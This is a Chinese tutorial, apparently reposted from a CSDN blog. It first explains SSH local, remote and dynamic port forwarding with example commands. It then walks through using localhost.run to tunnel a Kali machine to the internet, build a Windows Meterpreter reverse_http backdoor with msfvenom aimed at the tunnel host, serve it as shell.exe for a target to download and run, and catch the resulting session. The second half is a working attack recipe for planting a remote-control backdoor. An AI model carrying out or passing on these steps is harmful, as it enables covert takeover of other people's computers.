使用localhost.run进行端口转发
作者:互联网
一.原理
(一)SSH本地端口转发
-
将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
-L LocalPort:RemoteHost:RemoteHostPort sshServer
A->C 访问被限制
A-B->C 使用B主机作为跳板突破访问限制 -
实例:
现在我们使用下面这条命令来达成我们的目的(192.168.0.100上执行)
① ssh -N -f -L 2121:234.234.234.234:21 123.123.123.123
② ftp://localhost:2121
SSH客户端的三个参数:
-N 告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发
-f 告诉SSH客户端在后台运行
-L 做本地映射端口,被冒号分割的三个部分含义分别是 :
需要使用的本地端口号
需要访问的目标机器IP地址(IP: 234.234.234.234)
需要访问的目标机器端口(端口: 21)
最后一个参数是我们用来建立隧道的中间机器的IP地址(IP: 123.123.123.123) -
当访问本机的2121的端口时,被加密后转发到123.123.123.123的ssh服务,再解密被转发到234.234.234.234:21
(二)SSH远程端口转发
- 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口.
-R sshServerPort:RemoteHost:RemoteHostPort sshServer
C-x->A (拒绝访问)
C-B->A (通过远程代理,接受访问) - 实例:
①ssh -N -f -R 2222:127.0.0.1:22 123.123.123.123
②ssh -p 2222 localhost
该参数的三个部分的含义分别是:
远程机器使用的端口(2222)
需要映射的内部机器的IP地址(127.0.0.1)
需要映射的内部机器的端口(22) - 让123.123.123.123侦听2222端口的访问,如有访问,就加密后通过ssh服务转发请求到本机ssh客户端,再由本机解密后转发到127.0.0.1:22
(三)动态端口转发
- 命令:
ssh -N -f -D localHost:localPort sshServer - 参数:
-D,dynamic,动态端口转发 - 应用:
本地和远程端口转发,都限定了目标服务器以及目标服务器的端口;
而动态端口转发,A把B作为了自己的全权代理,不限定目标服务器及其端口;
这里要求在A上,做下代理设置,比如浏览器的代理设定为自己IP:PORT;
本地端口转发和远程端口转发,其实都可看着是动态端口转发(代理)的子集;
二.使用
-
打开kali,输入ssh-keygen
SSH 密钥对可以让你方便的登录到 SSH 服务器,而无需输入密码。由于你无需发送你的密码到网络中,SSH 密钥对被认为是更加安全的方式。再加上使用密码短语 (passphrase) 的使用,安全性会更上一层楼。
这里直接回车使用默认的 -
service apache2 start 开启apache服务
-
ssh -R 80:localhost:80 localhost.run 开启远程端口转发
-
键入yes
-
获得一个地址:https://06327fbb553a9e.localhost.run这个地址能从任何一个电脑访问到
①kali机
②目标机
-
生成后门
msfvenom -p windows/meterpreter/reverse_http LHOST=06327fbb553a9e.localhost.run LPORT=80 -f exe -o /var/www/html/shell.exe
把后门文件放在网站目录下方便目标机下载
-
在目标机上访问https://06327fbb553a9e.localhost.run/shell.exe 下载后门
-
Service apache2 stop 关闭Apache,因为Apache占用了80端口
-
在kali上面设置监听
-
在目标机上运行shell.exe
-
成功连接
标签:run,端口,123.123,ssh,转发,localhost,SSH 来源: https://blog.csdn.net/Bob______/article/details/120297553